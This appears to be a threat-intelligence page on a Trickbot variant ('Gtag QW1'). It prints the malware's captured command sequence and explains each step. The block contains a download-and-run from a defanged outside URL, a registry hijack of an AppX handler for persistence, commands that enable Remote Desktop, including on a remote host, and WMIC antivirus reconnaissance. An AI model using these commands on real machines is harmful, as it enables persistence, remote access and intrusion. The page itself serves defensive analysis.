Reddit NetSec

AlienVault OTX General

Reddit InfoSec News

CIRCL OSINT Feed

ThreatFox MISP Feed

CVE Database V5

Exploit-DB RSS Feed

AlienVault OTX Vulnerabilities

AlienVault OTX Malware

%WINDIR%\system32\cmd.exe /c C:\DiskDrive\1\Volume\errorfix.bat cscript //nologo C:\DiskDrive\1\Volume\BackFiles\pinumber[.]vbs hxxp://customscripts.us/QW1.exe C:\DiskDrive\1\Volume\BackFiles\Jofert.exe powershell -C Sleep -s 4;Saps 'C:\DiskDrive\1\Volume\BackFiles\Jofert.exe' %WINDIR%\system32\cmd[.]exe /C reg add HKEY_CURRENT_USER\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\shell\open\command /v "DelegateExecute" /t REG_SZ /d "" /f %WINDIR%\system32\cmd.exe /C reg add HKEY_CURRENT_USER\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\shell\open\command /t REG_SZ /d "%WINDIR%\system32\cmd.exe /c start %ALLUSERSPROFILE%\ì˜ìƒØ«Ø§ÙÙˆØ²Ø¨Øª.exe" /f reg add HKEY_CURRENT_USER\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\shell\open\command /t REG_SZ /d "%WINDIR%\system32\cmd.exe /c start %ALLUSERSPROFILE%\ì˜ìƒØ«Ø§ÙÙˆØ²Ø¨Øª.exe" /f reg add HKEY_CURRENT_USER\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\shell\open\command /v "DelegateExecute" /t REG_SZ /d "" /f "%WINDIR%\system32\cmd[.]exe" /c start %ALLUSERSPROFILE%\ì˜ìƒØ«Ø§ÙÙˆØ²Ø¨Øª.exe "%WINDIR%\system32\reg.exe" add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f %WINDIR%\system32\cmd[.]exe /C reg add "\\usha-bdc\HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f reg add "\\usha-bdc\HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f %WINDIR%\system32\cmd.exe /C WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List

The Trickbot Gtag QW1 is a malware variant associated with the Trickbot family, known for its modular banking Trojan capabilities and use in multi-stage attack campaigns. The provided command sequence indicates that the malware executes a batch script (errorfix.bat) and VBScript (pinumber.vbs) from a local disk path, followed by downloading and executing an external payload (QW1.exe) from a suspicious URL. It also runs a secondary executable (Jofert.exe) via PowerShell with a delay, suggesting staged execution to evade detection. The malware manipulates Windows Registry keys under HKEY_CURRENT_USER\Software\Classes to hijack the AppX protocol handler, setting the 'DelegateExecute' value to an empty string and modifying the shell open command to launch a suspicious executable located in the All Users profile directory with a non-ASCII filename. This technique is indicative of persistence and execution hijacking to maintain foothold and evade user detection. Additionally, the malware modifies the Terminal Server registry key (fDenyTSConnections) to 0, effectively enabling Remote Desktop Protocol (RDP) connections, which could facilitate lateral movement or remote access by attackers. The use of WMIC commands querying installed antivirus products suggests reconnaissance to identify security software presence, potentially to disable or evade them. The malware does not have an associated patch or known exploits in the wild, and its severity is currently rated low by the source. However, the presence of Cobalt Strike beacon tags indicates that this malware may be used as a delivery mechanism for advanced post-exploitation frameworks, increasing its threat potential. Overall, Trickbot Gtag QW1 employs multiple persistence, execution hijacking, and reconnaissance techniques to establish and maintain access on compromised Windows systems.

Detailed information about Trickbot Gtag QW1. Get real-time updates, technical details, and mitigation strategies.

Trickbot Gtag QW1 - Live Threat Intelligence - Threat Radar | OffSeq.com

Trickbot Gtag QW1

Trickbot Gtag QW1 appears to be a variant or module associated with the Trickbot malware family, which is a well-known banking Trojan and modular malware platform. Trickbot is often used by threat actors to conduct credential theft, lateral movement, and as a dropper for additional payloads such as ransomware or Cobalt Strike beacons. The mention of "cobalt strike beacon" in the tags suggests that this variant or module may be used in conjunction with Cobalt Strike, a legitimate penetration testing tool frequently abused by attackers for command and control (C2) and post-exploitation activities. Although the provided information is limited and the type is marked as "unknown," the association with Trickbot and Cobalt Strike indicates that this threat is likely part of a sophisticated attack chain involving initial infection, persistence, and further exploitation or lateral movement within compromised networks. The threat level is noted as 3 (on an unspecified scale), and the severity is marked as low, but this may reflect limited data rather than the actual risk posed by Trickbot variants in general. No specific affected versions or technical details are provided, and no known exploits in the wild are reported, which may indicate that this particular variant is either not widespread or not independently exploitable without prior infection. Trickbot’s modular nature means that it can adapt and deliver various payloads, making it a persistent and evolving threat. The lack of patch links and CWEs suggests that this is malware rather than a vulnerability, and mitigation typically involves detection and response rather than patching.

Title	Severity	Type	Source	Date

Threats Tagged ' cobalt strike beacon'

Filter Threats

Threats Tagged ' cobalt strike beacon'

Keyboard Shortcuts

Navigation

Search & Filters

UI Controls

Accessibility